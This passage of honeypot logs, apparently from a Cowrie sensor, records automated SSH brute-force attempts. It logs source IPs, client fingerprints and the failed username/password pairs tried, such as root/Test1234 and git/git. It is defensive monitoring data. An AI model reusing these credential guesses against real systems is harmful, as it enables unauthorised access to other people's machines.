{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50678,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcf9968941bf","protocol":"ssh","message":"New connection: 176.65.139.103:50678 (10.17.0.5:22) [session: dcf9968941bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:30.946434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:30.951284Z","src_ip":"176.65.139.103","session":"dcf9968941bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:31.036546Z","src_ip":"176.65.139.103","session":"dcf9968941bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:31.285257Z","src_ip":"176.65.139.103","session":"dcf9968941bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:32.373871Z","src_ip":"176.65.139.103","session":"dcf9968941bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58302,"dst_ip":"10.17.0.5","dst_port":22,"session":"91264524be45","protocol":"ssh","message":"New connection: 176.65.139.103:58302 (10.17.0.5:22) [session: 91264524be45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:37.394375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:37.398672Z","src_ip":"176.65.139.103","session":"91264524be45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:37.480779Z","src_ip":"176.65.139.103","session":"91264524be45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:37.725326Z","src_ip":"176.65.139.103","session":"91264524be45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:38.893301Z","src_ip":"176.65.139.103","session":"91264524be45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59040,"dst_ip":"10.17.0.5","dst_port":22,"session":"3670b666226c","protocol":"ssh","message":"New connection: 176.65.139.103:59040 (10.17.0.5:22) [session: 3670b666226c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:43.334614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:43.339188Z","src_ip":"176.65.139.103","session":"3670b666226c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:43.420854Z","src_ip":"176.65.139.103","session":"3670b666226c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:43.667141Z","src_ip":"176.65.139.103","session":"3670b666226c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:44.754715Z","src_ip":"176.65.139.103","session":"3670b666226c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59044,"dst_ip":"10.17.0.5","dst_port":22,"session":"acf9d4ce562e","protocol":"ssh","message":"New connection: 176.65.139.103:59044 (10.17.0.5:22) [session: acf9d4ce562e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:49.037018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:49.041710Z","src_ip":"176.65.139.103","session":"acf9d4ce562e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:49.124177Z","src_ip":"176.65.139.103","session":"acf9d4ce562e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:49.373201Z","src_ip":"176.65.139.103","session":"acf9d4ce562e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:50.535288Z","src_ip":"176.65.139.103","session":"acf9d4ce562e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":48524,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c49ea7997fa","protocol":"telnet","message":"New connection: 185.26.126.47:48524 (159.203.135.109:23) [session: 6c49ea7997fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:51.976013Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34408,"dst_ip":"10.17.0.5","dst_port":22,"session":"beb92c549c7c","protocol":"ssh","message":"New connection: 176.65.139.103:34408 (10.17.0.5:22) [session: beb92c549c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:54.677253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:54.681619Z","src_ip":"176.65.139.103","session":"beb92c549c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:54.764556Z","src_ip":"176.65.139.103","session":"beb92c549c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:55.138890Z","src_ip":"176.65.139.103","session":"beb92c549c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:38:56.374809Z","src_ip":"176.65.139.103","session":"beb92c549c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34416,"dst_ip":"10.17.0.5","dst_port":22,"session":"0419b38d80c3","protocol":"ssh","message":"New connection: 176.65.139.103:34416 (10.17.0.5:22) [session: 0419b38d80c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:00.665158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:00.670627Z","src_ip":"176.65.139.103","session":"0419b38d80c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:00.754953Z","src_ip":"176.65.139.103","session":"0419b38d80c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:01.021559Z","src_ip":"176.65.139.103","session":"0419b38d80c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47822,"dst_ip":"159.203.135.109","dst_port":22,"session":"922d3631ff45","protocol":"ssh","message":"New connection: 159.203.92.129:47822 (159.203.135.109:22) [session: 922d3631ff45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:01.260687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:01.272779Z","src_ip":"159.203.92.129","session":"922d3631ff45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:01.278924Z","src_ip":"159.203.92.129","session":"922d3631ff45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"87654321","message":"login attempt [ansible/87654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:01.414399Z","src_ip":"159.203.92.129","session":"922d3631ff45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:02.129192Z","src_ip":"176.65.139.103","session":"0419b38d80c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:02.570530Z","src_ip":"159.203.92.129","session":"922d3631ff45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58598,"dst_ip":"10.17.0.5","dst_port":22,"session":"f475b0030024","protocol":"ssh","message":"New connection: 176.65.139.103:58598 (10.17.0.5:22) [session: f475b0030024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:07.065577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:07.080892Z","src_ip":"176.65.139.103","session":"f475b0030024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:07.166732Z","src_ip":"176.65.139.103","session":"f475b0030024","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:07.413384Z","src_ip":"176.65.139.103","session":"f475b0030024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:08.501020Z","src_ip":"176.65.139.103","session":"f475b0030024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39052,"dst_ip":"10.17.0.5","dst_port":22,"session":"a77a4f74191c","protocol":"ssh","message":"New connection: 87.251.64.176:39052 (10.17.0.5:22) [session: a77a4f74191c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:10.949651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:39:10.953986Z","src_ip":"87.251.64.176","session":"a77a4f74191c","protocol":"ssh"}
